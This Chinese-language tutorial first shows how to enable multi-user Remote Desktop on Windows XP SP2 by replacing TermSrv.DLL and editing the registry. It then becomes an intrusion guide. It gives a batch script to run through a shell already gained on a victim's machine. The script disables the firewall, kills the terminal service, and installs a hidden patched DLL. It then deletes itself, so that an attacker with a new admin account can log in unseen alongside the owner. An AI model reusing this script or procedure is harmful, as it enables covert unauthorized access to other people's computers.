第一步:首先是在Windows XP上安裝SP2正式版,按照常規方式安裝即可,這裡不再贅述。
第二步:準備一份版本較早的SP2終端伺服器軟體(據說從Build 2082開始該功能就被禁止了,所以最好使用之前版本),中文SP2測試版較難找到,我用的是英文版Build 2055,運行之後沒有發現任何問題。你可以從http://www.msfn.org/board/index.php?s=85a71ca2987c89886c99733154ae685f&act=Attach&type=post&id=161513下載Build 2055的終端伺服器執行檔案TermSrv.DLL。從這個連結下載來的是一個副檔名為.DL_的檔案,你可以把它的副檔名改成ZIP檔案,然後用WinRAR解開它。
第三步:接下來,以安全模式啟動Windows XP,如果有多個作業系統,可以啟動另一個能訪問Windows XP系統磁碟分割的系統(除非安裝了第三方工具軟體,否則Windows 98不能訪問NTFS分區,因此Windows 98可能沒用)。然後,把Windows XP裡面SP2正式版的所有 TermSrv.DLL備份一下,在所有TermSrv.DLL檔案出現的位置,用Build 2055版本的TermSrv.DLL覆蓋。通常, TermSrv.DLL至少出現在二個位置,分別是:/Windows/system32,/Windows/system32/dllcache。凡是原來有TermSrv.DLL的地方,就用Build 2055版本的TermSrv.DLL覆蓋。
第四步:以正常模式啟動Windows XP,如果系統的檔案保護功能提示說TermSrv.DLL檔案已被修改,並詢問是否要複原,選擇否。
第五步:最後還要修改一下註冊表,增加終端伺服器的多使用者許可。鑒於修改註冊表比較麻煩而且容易出錯,你可以用下面的批命令修改註冊表:
@echo off
setlocal
set regkey="HKLM/SYSTEM/CurrentControlSet/Control/Terminal Server/Licensing Core"
reg add %regkey% /v EnableConcurrentSessions /T REG_DWORD /D 1 /f
endlocal
將上述內容儲存為一個批命令檔案,如AA.BAT,雙擊執行一下就可以了。
我不推薦這種做法 ,太煩鎖了,而且還要讓系統重起過。我們可以寫一個批次檔使系統不用重起就實現XP多使用者登陸,首先我們先來瞭解一個對註冊表操作的命令參數:
REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
KeyName [//Machine/]FullKey
Machine 遠程機器名 - 忽略預設到當前機器。遠程機器上
只有 HKLM 和 HKU。
FullKey ROOTKEY/SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所選 ROOTKEY 下登錄機碼的完整名。
/v 所選項之下要添加的值名。
/ve 為登錄機碼添加空白值名(預設)。
/t RegKey 資料類型
[ REG_SZ | REG_MULTI_SZ | REG_EXPAND_SZ |
REG_DWORD | REG_BINARY | REG_NONE ]
如果忽略,則採用 REG_SZ。
/s 指定一個在 REG_MULTI_SZ 資料字串中用作分隔字元的字元
如果忽略,則將 "/0" 用作分隔字元。
/d 要分配給添加的註冊表 ValueName 的資料。
/f 不用提示就強行覆蓋現有登錄機碼。
例如:
REG ADD //ABC/HKLM/Software/MyCo
添加遠程機器 ABC 上的一個登錄機碼 HKLM/Software/MyCo
REG ADD HKLM/Software/MyCo /v Data /t REG_BINARY /d fe340ead
添加一個值(名稱: Data,類型: REG_BINARY,資料: fe340ead)
REG ADD HKLM/Software/MyCo /v MRU /t REG_MULTI_SZ /d fax/0mail
添加一個值(名稱: MRU,類型: REG_MUTLI_SZ,資料: fax/0mail/0/0)
REG ADD HKLM/Software/MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^%
添加一個值(名稱: Path,類型: REG_EXPAND_SZ,資料: %systemroot%)
注意: 在擴充字串中使用插入符號 ( ^ )
為了讓系統不重起,我們可以用shutdown -a 這個命令。
根據上面找來的資料,我們可以編寫一個批處理,實現XP系統多使用者登陸而又不用重起系統。
代碼如下:
@echo off
@net stop sharedaccess
@ntsd -c q -p "pid"
@reg add HKLM/SOFTWARE/Microsoft/Windows" "NT/CurrentVersion/Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f
@reg add HKLM/SYSTEM/CurrentControlSet/Control/Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
@reg add HKLM/SYSTEM/CurrentControlSet/control/terminal" "server/Licensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f
@reg add HKLM/SYSTEM/CurrentControlSet/Services/TermService/Parameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%/system32/termsrvhack.dll /f
@copy c:/termsrvhack.dll c:/windows/system32/dllcache/termsrvhack.dll
@attrib +h +s +r c:/windows/system32/dllcache/termsrvhack.dll
@copy c:/termsrvhack.dll c:/windows/system32/termsrvhack.dll
@attrib +h +s +r c:/windows/system32/termsrvhack.dll
@shutdown -a
@del c:/termsrvhack.dll
@net start termservice
@del c:/3389.bat
其中“pid"是要替換成TermService服務的PID號,可以用命令tasklist/svc命令得到。當然win2000和以下系統是沒有tasklist命令的。
具體的操作方法是
先要得到對方的一個SHELL,然後在shell下用第三方軟體開啟終端服務,先不要改變預設的3389連接埠,不然要重起後才登陸,再建一個或複製一個超級管理使用者。
接下來把下載好的termsrvhack.dll和上面的批處理傳到對方的C盤根目錄下,然後在shell下運行此批處理。提示成功!
最後開啟登陸器,3389終端登陸!
說明一下你登陸進去後在裡面的操作和那台電腦的主人操作是互不影響的,他玩他的,你玩你的,呵呵,爽伐?!
總結起來就是以下三步:
開啟 XP Pro SP2 遠端桌面的多使用者支援 Enable Concurrent Sessions
主要分為三步
1. 開啟多使用者支援(註冊表regedit)
2. 修改 termsvr.dll
3. 更改使用者登入或登出的方式:使用歡迎畫面,使用快速切換使用者